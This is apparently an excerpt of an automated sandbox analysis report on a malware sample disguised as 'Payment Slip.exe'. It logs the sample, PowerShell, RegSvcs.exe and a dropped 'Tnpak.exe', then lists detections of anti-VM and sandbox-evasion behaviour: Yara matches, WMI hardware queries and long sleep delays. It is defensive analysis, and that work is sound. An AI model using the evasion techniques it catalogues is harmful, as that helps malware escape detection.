                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess information set: NOOPENFILEERRORBOX

                    Malware Analysis System Evasion

                    barindex
                    Yara detected AntiVM3
                    Source: Yara matchFile source: 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: Payment Slip.exe PID: 3736, type: MEMORYSTR
                    Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                    Source: Payment Slip.exe, 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                    Source: Payment Slip.exe, 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
                    Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                    Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                    Source: C:\Users\user\Desktop\Payment Slip.exe TID: 1968Thread sleep time: -43731s >= -30000s
                    Source: C:\Users\user\Desktop\Payment Slip.exe TID: 5664Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6772Thread sleep time: -11990383647911201s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe TID: 6344Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe TID: 6824Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Users\user\Desktop\Payment Slip.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7729
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 840
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 3152
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWindow / User API: threadDelayed 5699
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information queried: ProcessInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeThread delayed: delay time: 43731
                    Source: C:\Users\user\Desktop\Payment Slip.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
